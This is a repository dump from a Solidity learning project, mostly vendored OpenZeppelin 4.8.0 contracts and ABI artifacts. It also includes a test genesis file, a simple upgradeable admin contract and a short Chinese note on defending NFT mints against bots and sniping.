/test_solidity/node_modules/@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC721.sol"; 7 | 8 | /** 9 | * @title ERC-721 Non-Fungible Token Standard, optional metadata extension 10 | * @dev See https://eips.ethereum.org/EIPS/eip-721 11 | */ 12 | interface IERC721Metadata is IERC721 { 13 | /** 14 | * @dev Returns the token collection name. 15 | */ 16 | function name() external view returns (string memory); 17 | 18 | /** 19 | * @dev Returns the token collection symbol. 20 | */ 21 | function symbol() external view returns (string memory); 22 | 23 | /** 24 | * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. 25 | */ 26 | function tokenURI(uint256 tokenId) external view returns (string memory); 27 | } 28 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC1271.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC1271", 4 | "sourceName": "contracts/interfaces/IERC1271.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "bytes32", 10 | "name": "hash", 11 | "type": "bytes32" 12 | }, 13 | { 14 | "internalType": "bytes", 15 | "name": "signature", 16 | "type": "bytes" 17 | } 18 | ], 19 | "name": "isValidSignature", 20 | "outputs": [ 21 | { 22 | "internalType": "bytes4", 23 | "name": "magicValue", 24 | "type": "bytes4" 25 | } 26 | ], 27 | "stateMutability": "view", 28 | "type": "function" 29 | } 30 | ], 31 | "bytecode": "0x", 32 | "deployedBytecode": "0x", 33 | "linkReferences": {}, 34 | "deployedLinkReferences": {} 35 | } 36 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC721.sol"; 7 | import "../../../utils/Context.sol"; 8 | 9 | /** 10 | * @title ERC721 Burnable Token 11 | * @dev ERC721 Token that can be burned (destroyed). 12 | */ 13 | abstract contract ERC721Burnable is Context, ERC721 { 14 | /** 15 | * @dev Burns `tokenId`. See {ERC721-_burn}. 16 | * 17 | * Requirements: 18 | * 19 | * - The caller must own `tokenId` or be an approved operator. 20 | */ 21 | function burn(uint256 tokenId) public virtual { 22 | //solhint-disable-next-line max-line-length 23 | require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved"); 24 | _burn(tokenId); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /test_ethereum/genesis.json: -------------------------------------------------------------------------------- 1 | { 2 | "config": { 3 | "chainId": 1, 4 | "homesteadBlock": 0, 5 | "eip150Block": 0, 6 | "eip155Block": 0, 7 | "eip158Block": 0, 8 | "byzantiumBlock": 0, 9 | "constantinopleBlock": 0, 10 | "petersburgBlock": 0, 11 | "istanbulBlock": 0, 12 | "berlinBlock": 0, 13 | "londonBlock": 0 14 | }, 15 | "alloc": { 16 | "0x0000000000000000000000000000000000000001": { 17 | "balance": "111111111" 18 | }, 19 | "0x0000000000000000000000000000000000000002": { 20 | "balance": "222222222" 21 | } 22 | }, 23 | "coinbase": "0x0000000000000000000000000000000000000000", 24 | "difficulty": "0x20000", 25 | "extraData": "", 26 | "gasLimit": "0x2fefd8", 27 | "nonce": "0x0000000000000042", 28 | "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000", 29 | "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", 30 | "timestamp": "0x00" 31 | } 32 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC721Receiver.sol"; 7 | 8 | /** 9 | * @dev Implementation of the {IERC721Receiver} interface. 10 | * 11 | * Accepts all token transfers. 12 | * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. 13 | */ 14 | contract ERC721Holder is IERC721Receiver { 15 | /** 16 | * @dev See {IERC721Receiver-onERC721Received}. 17 | * 18 | * Always returns `IERC721Receiver.onERC721Received.selector`. 19 | */ 20 | function onERC721Received( 21 | address, 22 | address, 23 | uint256, 24 | bytes memory 25 | ) public virtual override returns (bytes4) { 26 | return this.onERC721Received.selector; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@openzeppelin/contracts", 3 | "description": "Secure Smart Contract library for Solidity", 4 | "version": "4.8.0", 5 | "files": [ 6 | "**/*.sol", 7 | "/build/contracts/*.json", 8 | "!/mocks/**/*" 9 | ], 10 | "scripts": { 11 | "prepare": "bash ../scripts/prepare-contracts-package.sh", 12 | "prepare-docs": "cd ..; npm run prepare-docs" 13 | }, 14 | "repository": { 15 | "type": "git", 16 | "url": "https://github.com/OpenZeppelin/openzeppelin-contracts.git" 17 | }, 18 | "keywords": [ 19 | "solidity", 20 | "ethereum", 21 | "smart", 22 | "contracts", 23 | "security", 24 | "zeppelin" 25 | ], 26 | "author": "OpenZeppelin Community ", 27 | "license": "MIT", 28 | "bugs": { 29 | "url": "https://github.com/OpenZeppelin/openzeppelin-contracts/issues" 30 | }, 31 | "homepage": "https://openzeppelin.com/contracts/" 32 | } 33 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/utils/Context.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Provides information about the current execution context, including the 8 | * sender of the transaction and its data. While these are generally available 9 | * via msg.sender and msg.data, they should not be accessed in such a direct 10 | * manner, since when dealing with meta-transactions the account sending and 11 | * paying for execution may not be the actual sender (as far as an application 12 | * is concerned). 13 | * 14 | * This contract is only required for intermediate, library-like contracts. 15 | */ 16 | abstract contract Context { 17 | function _msgSender() internal view virtual returns (address) { 18 | return msg.sender; 19 | } 20 | 21 | function _msgData() internal view virtual returns (bytes calldata) { 22 | return msg.data; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IFxMessageProcessor.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IFxMessageProcessor", 4 | "sourceName": "contracts/vendor/polygon/IFxMessageProcessor.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "uint256", 10 | "name": "stateId", 11 | "type": "uint256" 12 | }, 13 | { 14 | "internalType": "address", 15 | "name": "rootMessageSender", 16 | "type": "address" 17 | }, 18 | { 19 | "internalType": "bytes", 20 | "name": "data", 21 | "type": "bytes" 22 | } 23 | ], 24 | "name": "processMessageFromRoot", 25 | "outputs": [], 26 | "stateMutability": "nonpayable", 27 | "type": "function" 28 | } 29 | ], 30 | "bytecode": "0x", 31 | "deployedBytecode": "0x", 32 | "linkReferences": {}, 33 | "deployedLinkReferences": {} 34 | } 35 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC1820Implementer.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC1820Implementer", 4 | "sourceName": "contracts/utils/introspection/IERC1820Implementer.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "bytes32", 10 | "name": "interfaceHash", 11 | "type": "bytes32" 12 | }, 13 | { 14 | "internalType": "address", 15 | "name": "account", 16 | "type": "address" 17 | } 18 | ], 19 | "name": "canImplementInterfaceForAddress", 20 | "outputs": [ 21 | { 22 | "internalType": "bytes32", 23 | "name": "", 24 | "type": "bytes32" 25 | } 26 | ], 27 | "stateMutability": "view", 28 | "type": "function" 29 | } 30 | ], 31 | "bytecode": "0x", 32 | "deployedBytecode": "0x", 33 | "linkReferences": {}, 34 | "deployedLinkReferences": {} 35 | } 36 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC777/presets/ERC777PresetFixedSupply.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC777/presets/ERC777PresetFixedSupply.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | import "../ERC777.sol"; 6 | 7 | /** 8 | * @dev {ERC777} token, including: 9 | * 10 | * - Preminted initial supply 11 | * - No access control mechanism (for minting/pausing) and hence no governance 12 | * 13 | * _Available since v3.4._ 14 | */ 15 | contract ERC777PresetFixedSupply is ERC777 { 16 | /** 17 | * @dev Mints `initialSupply` amount of token and transfers them to `owner`. 18 | * 19 | * See {ERC777-constructor}. 20 | */ 21 | constructor( 22 | string memory name, 23 | string memory symbol, 24 | address[] memory defaultOperators, 25 | uint256 initialSupply, 26 | address owner 27 | ) ERC777(name, symbol, defaultOperators) { 28 | _mint(owner, initialSupply, "", ""); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/draft-IERC1822.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified 8 | * proxy whose upgrades are fully controlled by the current implementation. 9 | */ 10 | interface IERC1822Proxiable { 11 | /** 12 | * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation 13 | * address. 14 | * 15 | * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks 16 | * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this 17 | * function revert if invoked through a proxy. 18 | */ 19 | function proxiableUUID() external view returns (bytes32); 20 | } 21 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/utils/introspection/IERC165.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC165 standard, as defined in the 8 | * https://eips.ethereum.org/EIPS/eip-165[EIP]. 9 | * 10 | * Implementers can declare support of contract interfaces, which can then be 11 | * queried by others ({ERC165Checker}). 12 | * 13 | * For an implementation, see {ERC165}. 14 | */ 15 | interface IERC165 { 16 | /** 17 | * @dev Returns true if this contract implements the interface defined by 18 | * `interfaceId`. See the corresponding 19 | * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] 20 | * to learn more about how these ids are created. 21 | * 22 | * This function call must use less than 30 000 gas. 23 | */ 24 | function supportsInterface(bytes4 interfaceId) external view returns (bool); 25 | } 26 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/DoubleEndedQueue.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "DoubleEndedQueue", 4 | "sourceName": "contracts/utils/structs/DoubleEndedQueue.sol", 5 | "abi": [ 6 | { 7 | "inputs": [], 8 | "name": "Empty", 9 | "type": "error" 10 | }, 11 | { 12 | "inputs": [], 13 | "name": "OutOfBounds", 14 | "type": "error" 15 | } 16 | ], 17 | "bytecode": "0x60566037600b82828239805160001a607314602a57634e487b7160e01b600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122005c943e155a2a53c2d274842face9681392e6e0755cedfb98a0f37bcc80637cb64736f6c634300080d0033", 18 | "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122005c943e155a2a53c2d274842face9681392e6e0755cedfb98a0f37bcc80637cb64736f6c634300080d0033", 19 | "linkReferences": {}, 20 | "deployedLinkReferences": {} 21 | } 22 | -------------------------------------------------------------------------------- /learn_smartcontract/other/upgrade_contract/contracts/AdminBox.sol: -------------------------------------------------------------------------------- 1 | // contracts/AdminBox.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.0; 4 | 5 | import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; 6 | 7 | contract AdminBox is Initializable { 8 | uint256 private _value; 9 | address private _admin; 10 | 11 | // Emitted when the stored value changes 12 | event ValueChanged(uint256 value); 13 | 14 | function initialize(address admin) public initializer { 15 | _admin = admin; 16 | } 17 | 18 | /// @custom:oz-upgrades-unsafe-allow constructor 19 | constructor() initializer {} 20 | 21 | // Stores a new value in the contract 22 | function store(uint256 value) public { 23 | require(msg.sender == _admin, "AdminBox: not admin"); 24 | _value = value; 25 | emit ValueChanged(value); 26 | } 27 | 28 | // Reads the last stored value 29 | function retrieve() public view returns (uint256) { 30 | return _value; 31 | } 32 | } -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/utils/escrow/ConditionalEscrow.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/escrow/ConditionalEscrow.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./Escrow.sol"; 7 | 8 | /** 9 | * @title ConditionalEscrow 10 | * @dev Base abstract escrow to only allow withdrawal if a condition is met. 11 | * @dev Intended usage: See {Escrow}. Same usage guidelines apply here. 12 | */ 13 | abstract contract ConditionalEscrow is Escrow { 14 | /** 15 | * @dev Returns whether an address is allowed to withdraw their funds. To be 16 | * implemented by derived contracts. 17 | * @param payee The destination address of the funds. 18 | */ 19 | function withdrawalAllowed(address payee) public view virtual returns (bool); 20 | 21 | function withdraw(address payable payee) public virtual override { 22 | require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw"); 23 | super.withdraw(payee); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC2981.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC165.sol"; 7 | 8 | /** 9 | * @dev Interface for the NFT Royalty Standard. 10 | * 11 | * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal 12 | * support for royalty payments across all NFT marketplaces and ecosystem participants. 13 | * 14 | * _Available since v4.5._ 15 | */ 16 | interface IERC2981 is IERC165 { 17 | /** 18 | * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of 19 | * exchange. The royalty amount is denominated and should be paid in that same unit of exchange. 20 | */ 21 | function royaltyInfo(uint256 tokenId, uint256 salePrice) 22 | external 23 | view 24 | returns (address receiver, uint256 royaltyAmount); 25 | } 26 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/governance/extensions/GovernorVotesComp.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (governance/extensions/GovernorVotesComp.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../Governor.sol"; 7 | import "../../token/ERC20/extensions/ERC20VotesComp.sol"; 8 | 9 | /** 10 | * @dev Extension of {Governor} for voting weight extraction from a Comp token. 11 | * 12 | * _Available since v4.3._ 13 | */ 14 | abstract contract GovernorVotesComp is Governor { 15 | ERC20VotesComp public immutable token; 16 | 17 | constructor(ERC20VotesComp token_) { 18 | token = token_; 19 | } 20 | 21 | /** 22 | * Read the voting weight from the token's built in snapshot mechanism (see {Governor-_getVotes}). 23 | */ 24 | function _getVotes( 25 | address account, 26 | uint256 blockNumber, 27 | bytes memory /*params*/ 28 | ) internal view virtual override returns (uint256) { 29 | return token.getPriorVotes(account, blockNumber); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /learn_smartcontract/other/security_coding.md: -------------------------------------------------------------------------------- 1 | # 合约的安全编程 2 | 3 | ## 1. 防止机器人铸币 4 | 5 | 你可以通过两个措施来保护你的项目: 6 | 7 | - 限制每个钱包的可铸币量 8 | - 检查`msg.sender == tx.origin`,即检查是否有人通过其他合约来调用铸币函数,如果不等,说明是通过合约调用铸币函数,这时应该拒绝铸币请求! 9 | 10 | > 当用户通过一个合约调用你的铸币函数时,`msg.sender`将是合约地址,但`tx.origin`将是调用该合约的人的地址。 11 | 12 | ## 2. 防止NFT狙击 13 | 14 | NFT狙击是指有人知道哪些代币是稀有的,并且知道代币被铸造的顺序。因此,他们选择适当的时间去铸造一堆NFT,目标是获取稀有的NFT。 我们需要避免NFT被狙击,以保证每个人都能公平地分配代币。 15 | 16 | 首先,NFT狙击由2个问题造成: 17 | 18 | 1. 暴露了代币元数据(让狙击手推断出代币的稀有性); 19 | 2. 以确定的顺序铸造代币(让狙击手推断铸造稀有代币的正确时间); 20 | 21 | 对于第一个问题,你可以通过在代币被铸造后才披露元数据来解决,或者你可以使用分批渐进式披露,**这通常是盲盒的设计**,你可以去看看NFT盲盒的代码。 22 | 23 | 另外所有的链上数据都会被读取和利用。所以在铸币开始前不要验证你的合约。 24 | 25 | 第二个问题可以通过随机化铸币顺序来解决。链上随机化是很难的。以太坊没有内置的随机数生成器,所以人们一直在使用各种技巧,如使用当前区块号作为种子和/或将其与矿工地址相结合以获得额外的随机性。由于这不是真正的随机性,这些类型的技巧很容易被高级狙击手识破。 26 | 27 | 你可以使用一个随机化的预言机(Chainlink),但即使如此,高级狙击手也可以通过**偷看**NFT来绕过它, 其可以实现:如果铸币的NFT被证明并不罕见,就回退交易(例子这里)。因此,不幸的是,没有100%的方法来解决第二个问题。 28 | 你可以做的一件事是添加白名单机制,但这只有在整个NFT集合可以被限制在白名单的社区内时才有效。 29 | 30 | 31 | 32 | ### 参考 33 | - [Common patterns in good NFT contracts](https://www.solidnoob.com/blog/good-nft-contract-patterns) -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/governance/extensions/GovernorVotes.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (governance/extensions/GovernorVotes.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../Governor.sol"; 7 | import "../utils/IVotes.sol"; 8 | 9 | /** 10 | * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token, or since v4.5 an {ERC721Votes} token. 11 | * 12 | * _Available since v4.3._ 13 | */ 14 | abstract contract GovernorVotes is Governor { 15 | IVotes public immutable token; 16 | 17 | constructor(IVotes tokenAddress) { 18 | token = tokenAddress; 19 | } 20 | 21 | /** 22 | * Read the voting weight from the token's built in snapshot mechanism (see {Governor-_getVotes}). 23 | */ 24 | function _getVotes( 25 | address account, 26 | uint256 blockNumber, 27 | bytes memory /*params*/ 28 | ) internal view virtual override returns (uint256) { 29 | return token.getPastVotes(account, blockNumber); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC1363Spender.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC1363Spender", 4 | "sourceName": "contracts/interfaces/IERC1363Spender.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "address", 10 | "name": "owner", 11 | "type": "address" 12 | }, 13 | { 14 | "internalType": "uint256", 15 | "name": "value", 16 | "type": "uint256" 17 | }, 18 | { 19 | "internalType": "bytes", 20 | "name": "data", 21 | "type": "bytes" 22 | } 23 | ], 24 | "name": "onApprovalReceived", 25 | "outputs": [ 26 | { 27 | "internalType": "bytes4", 28 | "name": "", 29 | "type": "bytes4" 30 | } 31 | ], 32 | "stateMutability": "nonpayable", 33 | "type": "function" 34 | } 35 | ], 36 | "bytecode": "0x", 37 | "deployedBytecode": "0x", 38 | "linkReferences": {}, 39 | "deployedLinkReferences": {} 40 | } 41 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (interfaces/IERC3156FlashBorrower.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC3156 FlashBorrower, as defined in 8 | * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. 9 | * 10 | * _Available since v4.1._ 11 | */ 12 | interface IERC3156FlashBorrower { 13 | /** 14 | * @dev Receive a flash loan. 15 | * @param initiator The initiator of the loan. 16 | * @param token The loan currency. 17 | * @param amount The amount of tokens lent. 18 | * @param fee The additional amount of tokens to repay. 19 | * @param data Arbitrary data structure, intended to contain user-defined parameters. 20 | * @return The keccak256 hash of "IERC3156FlashBorrower.onFlashLoan" 21 | */ 22 | function onFlashLoan( 23 | address initiator, 24 | address token, 25 | uint256 amount, 26 | uint256 fee, 27 | bytes calldata data 28 | ) external returns (bytes32); 29 | } 30 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/CrossChainEnabledPolygonChild.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "CrossChainEnabledPolygonChild", 4 | "sourceName": "contracts/crosschain/polygon/CrossChainEnabledPolygonChild.sol", 5 | "abi": [ 6 | { 7 | "inputs": [], 8 | "name": "NotCrossChainCall", 9 | "type": "error" 10 | }, 11 | { 12 | "inputs": [ 13 | { 14 | "internalType": "uint256", 15 | "name": "", 16 | "type": "uint256" 17 | }, 18 | { 19 | "internalType": "address", 20 | "name": "rootMessageSender", 21 | "type": "address" 22 | }, 23 | { 24 | "internalType": "bytes", 25 | "name": "data", 26 | "type": "bytes" 27 | } 28 | ], 29 | "name": "processMessageFromRoot", 30 | "outputs": [], 31 | "stateMutability": "nonpayable", 32 | "type": "function" 33 | } 34 | ], 35 | "bytecode": "0x", 36 | "deployedBytecode": "0x", 37 | "linkReferences": {}, 38 | "deployedLinkReferences": {} 39 | } 40 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/CrossChainEnabledAMB.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "CrossChainEnabledAMB", 4 | "sourceName": "contracts/crosschain/amb/CrossChainEnabledAMB.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "address", 10 | "name": "bridge", 11 | "type": "address" 12 | } 13 | ], 14 | "stateMutability": "nonpayable", 15 | "type": "constructor" 16 | } 17 | ], 18 | "bytecode": "0x60a0604052348015600f57600080fd5b5060405160bc38038060bc833981016040819052602a91603a565b6001600160a01b03166080526068565b600060208284031215604b57600080fd5b81516001600160a01b0381168114606157600080fd5b9392505050565b608051603f607d60003960005050603f6000f3fe6080604052600080fdfea2646970667358221220c85653a4760e918b24ff82de8657ed5e5e62ee05b3c09f1e5b20dff3fdb20dce64736f6c634300080d0033", 19 | "deployedBytecode": "0x6080604052600080fdfea2646970667358221220c85653a4760e918b24ff82de8657ed5e5e62ee05b3c09f1e5b20dff3fdb20dce64736f6c634300080d0033", 20 | "linkReferences": {}, 21 | "deployedLinkReferences": {} 22 | } 23 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/PullPayment.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "PullPayment", 4 | "sourceName": "contracts/security/PullPayment.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "address", 10 | "name": "dest", 11 | "type": "address" 12 | } 13 | ], 14 | "name": "payments", 15 | "outputs": [ 16 | { 17 | "internalType": "uint256", 18 | "name": "", 19 | "type": "uint256" 20 | } 21 | ], 22 | "stateMutability": "view", 23 | "type": "function" 24 | }, 25 | { 26 | "inputs": [ 27 | { 28 | "internalType": "address payable", 29 | "name": "payee", 30 | "type": "address" 31 | } 32 | ], 33 | "name": "withdrawPayments", 34 | "outputs": [], 35 | "stateMutability": "nonpayable", 36 | "type": "function" 37 | } 38 | ], 39 | "bytecode": "0x", 40 | "deployedBytecode": "0x", 41 | "linkReferences": {}, 42 | "deployedLinkReferences": {} 43 | } 44 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC20.sol"; 7 | import "../../../security/Pausable.sol"; 8 | 9 | /** 10 | * @dev ERC20 token with pausable token transfers, minting and burning. 11 | * 12 | * Useful for scenarios such as preventing trades until the end of an evaluation 13 | * period, or having an emergency switch for freezing all token transfers in the 14 | * event of a large bug. 15 | */ 16 | abstract contract ERC20Pausable is ERC20, Pausable { 17 | /** 18 | * @dev See {ERC20-_beforeTokenTransfer}. 19 | * 20 | * Requirements: 21 | * 22 | * - the contract must not be paused. 23 | */ 24 | function _beforeTokenTransfer( 25 | address from, 26 | address to, 27 | uint256 amount 28 | ) internal virtual override { 29 | super._beforeTokenTransfer(from, to, amount); 30 | 31 | require(!paused(), "ERC20Pausable: token transfer while paused"); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @title ERC721 token receiver interface 8 | * @dev Interface for any contract that wants to support safeTransfers 9 | * from ERC721 asset contracts. 10 | */ 11 | interface IERC721Receiver { 12 | /** 13 | * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} 14 | * by `operator` from `from`, this function is called. 15 | * 16 | * It must return its Solidity selector to confirm the token transfer. 17 | * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. 18 | * 19 | * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. 20 | */ 21 | function onERC721Received( 22 | address operator, 23 | address from, 24 | uint256 tokenId, 25 | bytes calldata data 26 | ) external returns (bytes4); 27 | } 28 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/utils/introspection/ERC165.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC165.sol"; 7 | 8 | /** 9 | * @dev Implementation of the {IERC165} interface. 10 | * 11 | * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check 12 | * for the additional interface id that will be supported. For example: 13 | * 14 | * ```solidity 15 | * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 16 | * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); 17 | * } 18 | * ``` 19 | * 20 | * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. 21 | */ 22 | abstract contract ERC165 is IERC165 { 23 | /** 24 | * @dev See {IERC165-supportsInterface}. 25 | */ 26 | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 27 | return interfaceId == type(IERC165).interfaceId; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC2309.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC2309", 4 | "sourceName": "contracts/interfaces/IERC2309.sol", 5 | "abi": [ 6 | { 7 | "anonymous": false, 8 | "inputs": [ 9 | { 10 | "indexed": true, 11 | "internalType": "uint256", 12 | "name": "fromTokenId", 13 | "type": "uint256" 14 | }, 15 | { 16 | "indexed": false, 17 | "internalType": "uint256", 18 | "name": "toTokenId", 19 | "type": "uint256" 20 | }, 21 | { 22 | "indexed": true, 23 | "internalType": "address", 24 | "name": "fromAddress", 25 | "type": "address" 26 | }, 27 | { 28 | "indexed": true, 29 | "internalType": "address", 30 | "name": "toAddress", 31 | "type": "address" 32 | } 33 | ], 34 | "name": "ConsecutiveTransfer", 35 | "type": "event" 36 | } 37 | ], 38 | "bytecode": "0x", 39 | "deployedBytecode": "0x", 40 | "linkReferences": {}, 41 | "deployedLinkReferences": {} 42 | } 43 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/utils/ERC1155Holder.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./ERC1155Receiver.sol"; 7 | 8 | /** 9 | * Simple implementation of `ERC1155Receiver` that will allow 